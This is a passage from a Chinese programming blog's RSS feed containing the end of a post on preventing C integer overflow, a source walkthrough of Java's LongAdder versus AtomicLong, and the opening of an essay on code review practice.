si_b)))) {\n        /* Handle error */\n        return;\n    }\n    sum = si_a + si_b;\n}</pre>\n<p>对于乘法，就会很复杂（下面的代码太夸张了）：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\">void func(signed int si_a, signed int si_b)\n{\n  signed int result;\n  if (si_a &gt; 0) {  /* si_a is positive */\n    if (si_b &gt; 0) {  /* si_a and si_b are positive */\n      if (si_a &gt; (INT_MAX / si_b)) {\n        /* Handle error */\n      }\n    } else { /* si_a positive, si_b nonpositive */\n      if (si_b &lt; (INT_MIN / si_a)) {\n        /* Handle error */\n      }\n    } /* si_a positive, si_b nonpositive */\n  } else { /* si_a is nonpositive */\n    if (si_b &gt; 0) { /* si_a is nonpositive, si_b is positive */\n      if (si_a &lt; (INT_MIN / si_b)) {\n        /* Handle error */\n      }\n    } else { /* si_a and si_b are nonpositive */\n      if ( (si_a != 0) &amp;&amp; (si_b &lt; (INT_MAX / si_a))) {\n        /* Handle error */\n      }\n    } /* End if si_a and si_b are nonpositive */\n  } /* End if si_a is nonpositive */\n\n  result = si_a * si_b;\n}</pre>\n<p>更多的防止在操作中整型溢出的安全代码可以参看《<a href=\"https://www.securecoding.cert.org/confluence/display/seccode/INT32-C.+Ensure+that+operations+on+signed+integers+do+not+result+in+overflow\">INT32-C. Ensure that operations on signed integers do not result in overflow</a>》</p>\n<h4>其它</h4>\n<p>对于C++来说，你应该使用STL中的numeric_limits::max() 来检查溢出。</p>\n<p>另外，微软的SafeInt类是一个可以帮你远理上面这些很tricky的类，下载地址：<a href=\"http://safeint.codeplex.com/\" target=\"_blank\" rel=\"noopener noreferrer\">http://safeint.codeplex.com/</a></p>\n<p>对于Java 来说，一种是用JDK 1.7中Math库下的safe打头的函数，如safeAdd()和safeMultiply()，另一种用更大尺寸的数据类型，最大可以到BigInteger。</p>\n<p>可见，写一个安全的代码并不容易，尤其对于C/C++来说。对于黑客来说，他们只需要搜一下开源软件中代码有memcpy/strcpy之类的地方，然后看一看其周边的代码，是否可以通过用户的输入来影响，如果有的话，你就惨了。</p>\n<p><strong>参考</strong>：</p>\n<ul>\n<li><a href=\"http://phrack.org/issues/60/10.html\" target=\"_blank\" rel=\"noopener noreferrer\">Basic Integer Overflow</a></li>\n</ul>\n<ul>\n<li><a href=\"https://www.owasp.org/index.php/Integer_overflow\" target=\"_blank\" rel=\"noopener noreferrer\">OWASP：Integer overflow</a></li>\n</ul>\n<ul>\n<li><a href=\"https://www.kb.cert.org/vuls/id/162289\" target=\"_blank\" rel=\"noopener noreferrer\">C compilers may silently discard some wraparound checks</a></li>\n</ul>\n<ul>\n<li><a href=\"https://developer.apple.com/library/ios/documentation/Security/Conceptual/SecureCodingGuide/SecureCodingGuide.pdf\" target=\"_blank\" rel=\"noopener noreferrer\">Apple Secure Coding Guide</a></li>\n</ul>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Undefined_behavior\" target=\"_blank\" rel=\"noopener noreferrer\">Wikipedia: Undefined Behavior</a></li>\n</ul>\n<ul>\n<li>\n<p id=\"title-text\" class=\"with-breadcrumbs\"><a href=\"https://www.securecoding.cert.org/confluence/display/seccode/INT32-C.+Ensure+that+operations+on+signed+integers+do+not+result+in+overflow\">INT32-C. Ensure that operations on signed integers do not result in overflow</a></p>\n</li>\n</ul>\n<p>最后， 不好意思，这篇文章可能罗嗦了一些，大家见谅。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" alt=\"网络数字身份认证术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_title\">网络数字身份认证术</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11466.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>96</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>从LongAdder看更高效的无锁实现</title>\n\t\t<link>https://coolshell.cn/articles/11454.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11454.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[liuinsect]]></dc:creator>\n\t\t<pubDate>Thu, 17 Apr 2014 15:11:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[AtomicLong]]></category>\n\t\t<category><![CDATA[cas]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<category><![CDATA[LongAdder]]></category>\n\t\t<category><![CDATA[Performance]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11454</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢 @jd刘锟洋 投稿，更多文章参看他的博客：码梦为生） 原文链接：《比AtomicLong还高效的LongAdder 源码解析》 接触到AtomicLon...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11454.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢 <a href=\"http://weibo.com/liuinsect\" target=\"_blank\">@jd刘锟洋</a> 投稿，更多文章参看他的博客：<a href=\"http://www.liuinsect.com/\" target=\"_blank\">码梦为生</a>）</strong></p>\n<p><strong>原文链接</strong>：《<a href=\"http://www.liuinsect.com/2014/04/15/%E6%AF%94atomiclong%E8%BF%98%E9%AB%98%E6%95%88%E7%9A%84longadder-%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90/\" target=\"_blank\">比AtomicLong还高效的LongAdder 源码解析</a>》</p>\n<p>接触到AtomicLong的原因是在看guava的LoadingCache相关代码时，关于LoadingCache，其实思路也非常简单清晰：用模板模式解决了缓存不命中时获取数据的逻辑，这个思路我早前也正好在项目中使用到。</p>\n<p>言归正传，为什么说LongAdder引起了我的注意，原因有二：</p>\n<ol>\n<li>作者是Doug lea ，地位实在举足轻重。</li>\n<li>他说这个比AtomicLong高效。</li>\n</ol>\n<p>我们知道，AtomicLong已经是非常好的解决方案了，涉及并发的地方都是使用CAS操作，在硬件层次上去做 compare and set操作。效率非常高。</p>\n<p>因此，我决定研究下，为什么LongAdder比AtomicLong高效。</p>\n<p>首先，看LongAdder的继承树：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-209 aligncenter\" alt=\"la1\" src=\"http://www.liuinsect.com/wp-content/uploads/2014/04/la1.png\" width=\"431\" height=\"104\" /></p>\n<p>继承自Striped64，这个类包装了一些很重要的内部类和操作。稍候会看到。</p>\n<p><span id=\"more-11454\"></span></p>\n<p><strong>正式开始前，强调下，我们知道，AtomicLong的实现方式是内部有个value 变量，当多线程并发自增，自减时，均通过CAS 指令从机器指令级别操作保证并发的原子性。</strong></p>\n<p>再看看LongAdder的方法：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-210 aligncenter\" alt=\"la2\" src=\"http://www.liuinsect.com/wp-content/uploads/2014/04/la2.png\" width=\"472\" height=\"436\" /><br />\n怪不得可以和AtomicLong作比较，连API都这么像。我们随便挑一个API入手分析，这个API通了，其他API都大同小异，因此，我选择了add这个方法。事实上,其他API也都依赖这个方法。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-211 aligncenter\" alt=\"la3\" src=\"http://www.liuinsect.com/wp-content/uploads/2014/04/la3.png\" width=\"701\" height=\"281\" /><br />\nLongAdder中包含了一个Cell 数组，Cell是Striped64的一个内部类，顾名思义，Cell 代表了一个最小单元，这个单元有什么用，稍候会说道。先看定义：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-212 aligncenter\" alt=\"la4\" src=\"http://www.liuinsect.com/wp-content/uploads/2014/04/la4.png\" width=\"686\" height=\"649\" /><br />\nCell内部有一个非常重要的value变量，并且提供了一个CAS更新其值的方法。</p>\n<p>回到add方法：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-211 aligncenter\" alt=\"la3\" src=\"http://www.liuinsect.com/wp-content/uploads/2014/04/la3.png\" width=\"701\" height=\"281\" /></p>\n<p>这里，我有个疑问，AtomicLong已经使用CAS指令，非常高效了（比起各种锁），LongAdder如果还是用CAS指令更新值，怎么可能比AtomicLong高效了？ 何况内部还这么多判断！！！</p>\n<p>这是我开始时最大的疑问，所以，我猜想，难道有比CAS指令更高效的方式出现了？ 带着这个疑问，继续。</p>\n<p>第一if 判断，第一次调用的时候cells数组肯定为null,因此，进入casBase方法：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-213 aligncenter\" alt=\"la5\" src=\"http://www.liuinsect.com/wp-content/uploads/2014/04/la5.png\" width=\"772\" height=\"81\" /><br />\n原子更新base没啥好说的，如果更新成功，本地调用开始返回，否则进入分支内部。</p>\n<p>什么时候会更新失败？ 没错，并发的时候，好戏开始了，AtomicLong的处理方式是死循环尝试更新，直到成功才返回，而LongAdder则是进入这个分支。</p>\n<p>分支内部，通过一个Threadlocal变量threadHashCode 获取一个HashCode对象，该HashCode对象依然是Striped64类的内部类，看定义：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-214 aligncenter\" alt=\"la6\" src=\"http://www.liuinsect.com/wp-content/uploads/2014/04/la6.png\" width=\"734\" height=\"203\" /><br />\n有个code变量，保存了一个非0的随机数随机值。</p>\n<p>回到add方法：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-211 aligncenter\" alt=\"la3\" src=\"http://www.liuinsect.com/wp-content/uploads/2014/04/la3.png\" width=\"701\" height=\"281\" /></p>\n<p>拿到该线程相关的HashCode对象后，获取它的code变量，as[(n-1)&amp;h] 这句话相当于对h取模，只不过比起取模，因为是 与 的运算所以效率更高。</p>\n<p>计算出一个在Cells 数组中当先线程的HashCode对应的 索引位置，并将该位置的Cell 对象拿出来用CAS更新它的value值。</p>\n<p>当然，如果as 为null 并且更新失败，才会进入retryUpdate方法。</p>\n<p>看到这里我想应该有很多人明白为什么LongAdder会比AtomicLong更高效了，没错，唯一会制约AtomicLong高效的原因是高并发，高并发意味着CAS的失败几率更高， 重试次数更多，越多线程重试，CAS失败几率又越高，变成恶性循环，AtomicLong效率降低。 那怎么解决？<strong> LongAdder给了我们一个非常容易想到的解决方案：减少并发，将单一value的更新压力分担到多个value中去，降低单个value的 “热度”，分段更新！！！</strong></p>\n<p>这样，线程数再多也会分担到多个value上去更新，只需要增加value就可以降低 value的 “热度”  AtomicLong中的 恶性循环不就解决了吗？ cells 就是这个 “段” cell中的value 就是存放更新值的， 这样，<strong>当我需要总数时，把cells 中的value都累加一下不就可以了么！！</strong></p>\n<p><strong>当然，聪明之处远远不仅仅这里，在看看add方法中的代码，casBase方法可不可以不要，直接分段更新,上来就计算 索引位置，然后更新value？</strong></p>\n<p>答案是不好，不是不行，因为，casBase操作等价于AtomicLong中的CAS操作，要知道，LongAdder这样的处理方式是有坏处的，分段操作必然带来空间上的浪费，可以空间换时间，但是，<strong>能不换就不换，看空间时间都节约~！</strong> 所以，<strong>casBase操作保证了在低并发时，不会立即进入分支做分段更新操作</strong>，因为低并发时，casBase操作基本都会成功，只有并发高到一定程度了，才会进入分支，所以，Doug Lea对该类的说明是：<strong> 低并发时LongAdder和AtomicLong性能差不多，高并发时LongAdder更高效！</strong></p>\n<p style=\"text-align: center;\"><img decoding=\"async\" loading=\"lazy\" class=\" wp-image-215 aligncenter\" alt=\"la7\" src=\"http://www.liuinsect.com/wp-content/uploads/2014/04/la7.png\" width=\"750\" height=\"331\" /></p>\n<p>但是，Doung Lea 还是没这么简单，聪明之处还没有结束&#8230;&#8230;</p>\n<p>如此，retryUpdate中做了什么事，也基本略知一二了，因为cell中的value都更新失败(说明该索引到这个cell的线程也很多，并发也很高时) 或者cells数组为空时才会调用retryUpdate,</p>\n<p>因此，<strong>retryUpdate里面应该会做两件事：</strong></p>\n<ol>\n<li><strong>扩容，将cells数组扩大</strong>，降低每个cell的并发量，同样，这也意味着cells数组的rehash动作。</li>\n<li> <strong>给空的cells变量赋一个新的Cell数组</strong>。</li>\n</ol>\n<p>是不是这样呢？ 继续看代码：</p>\n<p>代码比较长，变成文本看看，为了方便大家看if else 分支，对应的  { } 我用相同的颜色标注出来。可以看到，这个时候Doug Lea才愿意使用死循环保证更新成功~！</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n  final void retryUpdate(long x, HashCode hc, boolean wasUncontended) {\n        int h = hc.code;\n        boolean collide = false;                // True if last slot nonempty\n        for (;;) {\n            Cell[] as; Cell a; int n; long v;\n            if ((as = cells) != null &amp;&amp; (n = as.length) &gt; 0) {// 分支1\n                if ((a = as[(n - 1) &amp; h]) == null) {\n                    if (busy == 0) {            // Try to attach new Cell\n                        Cell r = new Cell(x);   // Optimistically create\n                        if (busy == 0 &amp;&amp; casBusy()) {\n                            boolean created = false;\n                            try {               // Recheck under lock\n                                Cell[] rs; int m, j;\n                                if ((rs = cells) != null &amp;&amp;\n                                        (m = rs.length) &gt; 0 &amp;&amp;\n                                        rs[j = (m - 1) &amp; h] == null) {\n                                    rs[j] = r;\n                                    created = true;\n                                }\n                            } finally {\n                                busy = 0;\n                            }\n                            if (created)\n                                break;\n                            continue;           // Slot is now non-empty\n                        }\n                    }\n                    collide = false;\n                }\n                else if (!wasUncontended)       // CAS already known to fail\n                    wasUncontended = true;      // Continue after rehash\n                else if (a.cas(v = a.value, fn(v, x)))\n                    break;\n                else if (n &gt;= NCPU || cells != as)\n                    collide = false;            // At max size or stale\n                else if (!collide)\n                    collide = true;\n                else if (busy == 0 &amp;&amp; casBusy()) {\n                    try {\n                        if (cells == as) {      // Expand table unless stale\n                            Cell[] rs = new Cell[n &lt;&lt; 1];\n                            for (int i = 0; i &lt; n; ++i)\n                                rs[i] = as[i];\n                            cells = rs;\n                        }\n                    } finally {\n                        busy = 0;\n                    }\n                    collide = false;\n                    continue;                   // Retry with expanded table\n                }\n                h ^= h &lt;&lt; 13;                   // Rehash  h ^= h &gt;&gt;&gt; 17;\n                h ^= h &lt;&lt; 5;\n            }\n            else if (busy == 0 &amp;&amp; cells == as &amp;&amp; casBusy()) {//分支2\n                boolean init = false;\n                try {                           // Initialize table\n                    if (cells == as) {\n                        Cell[] rs = new Cell[2];\n                        rs[h &amp; 1] = new Cell(x);\n                        cells = rs;\n                        init = true;\n                    }\n                } finally {\n                    busy = 0;\n                }\n                if (init)\n                    break;\n            }\n            else if (casBase(v = base, fn(v, x)))\n                break;                          // Fall back on using base\n        }\n        hc.code = h;                            // Record index for next time\n    }\n\n</pre>\n<p>分支2中，为cells为空的情况，需要new 一个Cell数组。</p>\n<p>分支1分支中，略复杂一点点：</p>\n<p>注意，几个分支中都提到了busy这个方法，这个可以理解为一个CAS实现的锁，只有在需要更新cells数组的时候才会更新该值为1，如果更新失败，则说明当前有线程在更新cells数组，当前线程需要等待。重试。</p>\n<p>回到分支1中，这里首先判断当前cells数组中的索引位置的cell元素是否为空，如果为空，则添加一个cell到数组中。</p>\n<p>否则更新 标示冲突的标志位wasUncontended 为 true ，重试。</p>\n<p>否则，再次更新cell中的value,如果失败，重试。</p>\n<p>。。。。。。。一系列的判断后<span style=\"line-height: 1.5em;\">，如果还是失败，下下下策，reHash,直接将cells数组扩容一倍，并更新当前线程的hash值，保证下次更新能尽可能成功。</span></p>\n<p><strong>可以看到，LongAdder确实用了很多心思减少并发量，并且，每一步都是在”没有更好的办法“的时候才会选择更大开销的操作，从而尽可能的用最最简单的办法去完成操作。追求简单，但是绝对不粗暴。</strong></p>\n<p>———————<strong>陈皓注————————</strong></p>\n<p>最后留给大家思考的两个问题：</p>\n<p style=\"padding-left: 30px;\">1）是不是AtomicLong可以被废了？</p>\n<p style=\"padding-left: 30px;\">2）如果cell被创建后，原来的casBase就不走了，会不会性能更差？</p>\n<p>———————liuinsect<strong>注————————</strong></p>\n<p>昨天和左耳朵耗子简单讨论了下，发现左耳朵耗子,耗哥对读者思维的引导还是非常不错的，在第一次发现这个类后，对里面的实现又提出了更多的问题，引导大家思考，值得学习。</p>\n<p>我们 发现的问题有这么几个（包括以上的问题），自己简单总结下，欢迎大家讨论：</p>\n<p>1. jdk 1.7中是不是有这个类？<br />\n我确认后，结果如下：    jdk-7u51 版本上还没有  但是jdk-8u20版本上已经有了。代码基本一样 ，增加了对double类型的支持和删除了一些冗余的代码。有兴趣的同学可以去下载下JDK 1.8看看</p>\n<p>2. base有没有参与汇总？<br />\nbase在调用intValue等方法的时候是会汇总的：</p>\n<p><a href=\"http://www.liuinsect.com/wp-content/uploads/2014/04/LA101.bmp\"><img decoding=\"async\" alt=\"LA10\" src=\"http://www.liuinsect.com/wp-content/uploads/2014/04/LA101.bmp\" /></a></p>\n<p>3. 如果cell被创建后，原来的casBase就不走了，会不会性能更差？ base的顺序可不可以调换?<br />\n<span style=\"line-height: 1.5em;\">    刚开始我想可不可以调换add方法中的判断顺序，比如，先做casBase的判断？ 仔细思考后认为还是 不调换可能更好，调换后每次都要CAS一下，在高并发时，失败几率非常高，并且是恶性循环，比起一次判断，后者的开销明显小很多，还没有副作用（上一个问题，base变量在sum时base是会被统计的，并不会丢掉base的值）。因此，不调换可能会更好。</span></p>\n<p>4. AtomicLong可不可以废掉？<br />\n我的想法是可以废掉了，因为，虽然LongAdder在空间上占用略大，但是，它的性能已经足以说明一切了,无论是从节约空的角度还是执行效率上，AtomicLong基本没有优势了，具体看这个测试（感谢<a id=\"commentauthor-1431785\" href=\"http://lianming.info/\" rel=\"external nofollow\">Lemon</a>的回复）:http://blog.palominolabs.com/2014/02/10/java-8-performance-improvements-longadder-vs-atomiclong/</p>\n<p style=\"padding-left: 30px;\">\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"http://coolshell.cn/articles/8239.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/09/lock_free_bicycle-150x150.jpg\" alt=\"无锁队列的实现\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/8239.html\" class=\"wp_rp_title\">无锁队列的实现</a></li><li ><a href=\"http://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li><li ><a href=\"http://coolshell.cn/articles/9169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/Disruptor-150x150.png\" alt=\"并发框架Disruptor译文\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/9169.html\" class=\"wp_rp_title\">并发框架Disruptor译文</a></li><li ><a href=\"http://coolshell.cn/articles/9606.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/race_condition-150x150.jpg\" alt=\"疫苗：Java HashMap的死循环\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/9606.html\" class=\"wp_rp_title\">疫苗：Java HashMap的死循环</a></li><li ><a href=\"http://coolshell.cn/articles/6424.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"Hash Collision DoS 问题\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/6424.html\" class=\"wp_rp_title\">Hash Collision DoS 问题</a></li><li ><a href=\"http://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"http://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/11454.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>35</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>从Code Review 谈如何做技术</title>\n\t\t<link>https://coolshell.cn/articles/11432.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/11432.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 12 Apr 2014 08:28:01 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术管理]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Code Review]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=11432</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（这篇文章缘由我的微博，我想多说一些，有些杂乱，想到哪写到哪） 这两天，在微博上表达了一下Code Review的重要性。因为翻看了阿里内部的Review Bo...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/11432.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/11432.html\">从Code Review 谈如何做技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-11440\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2014/04/code_review-225x300.jpg\" width=\"225\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/04/code_review-225x300.jpg 225w, https://coolshell.cn/wp-content/uploads/2014/04/code_review-203x270.jpg 203w, https://coolshell.cn/wp-content/uploads/2014/04/code_review.jpg 358w\" sizes=\"(max-width: 225px) 100vw, 225px\" />（这篇文章缘由我的微博，我想多说一些，有些杂乱，想到哪写到哪）</p>\n<p>这两天，在微博上表达了一下Code Review的重要性。因为翻看了阿里内部的Review Board上的记录，从上面发现Code Review做得好的是一些比较偏技术的团队，而偏业务的技术团队基本上没有看到Code Review的记录。当然，这并不能说没有记录他们就没有做Code Review，于是，我就问了一下以前在业务团队做过的同事有没有Code Review，他告诉我不但没有Code Review，而且他认为Code Review没用，因为：</p>\n<p style=\"padding-left: 30px;\">1）工期压得太紧，时间连coding都不够，以上线为目的，</p>\n<p style=\"padding-left: 30px;\">2）需求老变，代码的生命周期太短。所以，写好的代码没有任何意义，烂就烂吧，反正与绩效无关。</p>\n<p>我心里非常不认同这样的观点，我觉得我是程序员，我是工程师，就像医生一样，不是把病人医好就好了，还要对病人的长期健康负责。对于常见病，要很快地医好病人很简单，下猛药，大量使用抗生素，好得飞快。但大家都知道，这明显是“饮鸩止渴”、“竭泽而渔”的做法。医生需要有责任心和医德，我也觉得程序员工程师也要有相应的责任心和相应的修养。东西交给我我必需要负责，我觉得这种负责和修养不是”做出来“就了事了，而是要到“做漂亮”这个级别，这就是“山寨”和“工业”的差别。而只以“做出来”为目的标准，我只能以为，这样的做法只不过是“按部就班”的堆砌代码罢了，和劳动密集型的“装配生产线”和“砌砖头”没有什么差别，在这种环境里呆着还不如离开。</p>\n<p>老实说，因为去年我在业务团队的时候，我的团队也没有做Code Review，原因是多样的。其中一个重要原因是，我刚来阿里，所以，需要做的是在适应阿里的文化，任何公司都有自己的风格和特点，任何公司的做法都有他的理由和成因，对于我这样的一个初来者，首要的是要适应和观察，不要对团队做太多的改动，跟从、理解和信任是融入的关键。（注：在建北京团队和不要专职的测试人员上我都受到了一些阻力），所以跟着团队走没有玩Code Review。干了一年后，觉得我妥协了很多我以前所坚持的东西，觉得自己的标准在降低，想一想后背拔凉拔凉的，所以我决定坚持，而且还要坚持高标准。</p>\n<p><span id=\"more-11432\"></span></p>\n<p>对于Code Review很重要的这个观点，在微博上抛出来后，被一些阿里的工程师，架构师/专家，甚至资深架构师批评，我在和他们回复和讨论的过程中，居然发现有个“因为对方用户的设置”我无法回复了（我被拉黑了，还有一些直接就是冷讽和骂人了，微博中我就直接删除了）。这些批评我的阿里工程师/架构师的观点总结一下如下：（<strong>顺便说一下，阿里内还是有很多团队坚持做Code Review的</strong>）</p>\n<p style=\"padding-left: 30px;\">1）到业务团队体会一下，倒逼工期的项目有多少？订好交付日期后再要求提前1个月的有多少？现在是做到已经不容易，更不谈做得漂亮！。</p>\n<p style=\"padding-left: 30px;\">2）Code Review是一种教条，意义不大，有测试，只要不出错，就可以了。</p>\n<p style=\"padding-left: 30px;\">3）目标都是改进质量，有限的投入总希望能有最大的产出，不同沉湎改进质量的方式不一样，业务应用开发忙的跟狗一样，而且业务逻辑变化快，通用性差，codereviw的成本要比底层高。</p>\n<p style=\"padding-left: 30px;\"><span style=\"line-height: 